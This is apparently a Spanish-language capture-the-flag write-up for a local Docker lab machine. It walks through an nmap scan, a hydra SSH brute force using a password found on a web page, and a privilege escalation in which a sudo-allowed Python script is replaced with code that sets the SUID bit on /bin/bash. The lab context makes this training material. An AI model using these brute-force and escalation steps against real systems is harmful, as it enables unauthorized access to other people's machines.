Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unziplibrary.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shlibrary.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-17 12:06 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000031s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f9:f6:fc:f7:f8:4d:d4:74:51:4c:88:23:54:a0:b3:af (ECDSA)
|_ 256 fd:5b:01:b6:d2:18:ae:a3:6f:26:b2:3c:00:e5:12:c1 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.52 seconds
Si entramos en la web veremos poca cosa, ya que es un apache2 normal, por lo que haremos un poco de fuzzing para ver que encontramos:
Vemos que hay un index.php que si entramos dentro veremos una web que pone en grande la siguiente palabra:
JIFGHDS87GYDFIGD
Por lo que podemos deducir que puede ser las credenciales de algun usuario del sistema, por lo que vamos a realizar un ataque de fuerza bruta con una lista de usuarios con hydra:
Escalate user carlos
Hydra
hydra-L<WORDLIST>-pJIFGHDS87GYDFIGDssh://<IP>-t64
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-17 12:23:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 624370 login tries (l:624370/p:1), ~9756 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: carlos password: JIFGHDS87GYDFIGD
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
Vemos que nos saca las credenciales de un usuario, por lo que nos conectaremos a el mediante ssh:
SSH
sshcarlos@<IP>
Metemos como contraseña JIFGHDS87GYDFIGD y veremos que estamos dentro con dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for carlos on 2f110a30d52f:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User carlos may run the following commands on 2f110a30d52f:
(ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
Vemos que podemos ejecutar el script /opt/script.py como el usuario root por lo que haremos lo siguiente:
ls-la/opt/
Si listamos para ver que permisos tiene, vemos lo siguiente:
total 12
drwxr-xr-x 1 carlos root 4096 May 7 2024 .
drwxr-xr-x 1 root root 4096 Jan 17 17:05 ..
-r-xr--r-- 1 carlos root 272 May 7 2024 script.py
Vemos que nosotros somos el propietario del script, por lo que podremos hacer lo siguiente:
rm/opt/script.py
Y creamos un script llamado de la misma forma:
nano/opt/script.py#Dentro del nanoimportosimportstat# Ruta del binario al que quieres asignar SUIDbinary_path="/bin/bash"defset_suid(binary):try:# Obtener los permisos actuales del archivocurrent_permissions=os.stat(binary).st_mode# Añadir el bit SUID a los permisosnew_permissions=current_permissions|stat.S_ISUID# Cambiar los permisos del archivoos.chmod(binary,new_permissions)print(f"Permisos SUID asignados correctamente a {binary}.")exceptPermissionError:print("Error: Se necesitan privilegios de superusuario para ejecutar este script.")exceptFileNotFoundError:print(f"Error: El archivo {binary} no se encontró.")exceptExceptionase:print(f"Error inesperado: {e}")# Ejecutar la funciónset_suid(binary_path)
Lo guardamos y haremos lo siguiente:
sudopython3/opt/script.py
Info:
Permisos SUID asignados correctamente a /bin/bash.
Ahora si listamos la bash:
ls-la/bin/bash
Info:
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Vemos que ha funcionado, por lo que solo tendremos que hacer lo siguiente:
bash-p
Con esto ya seremos root, por lo que habremos terminado la maquina.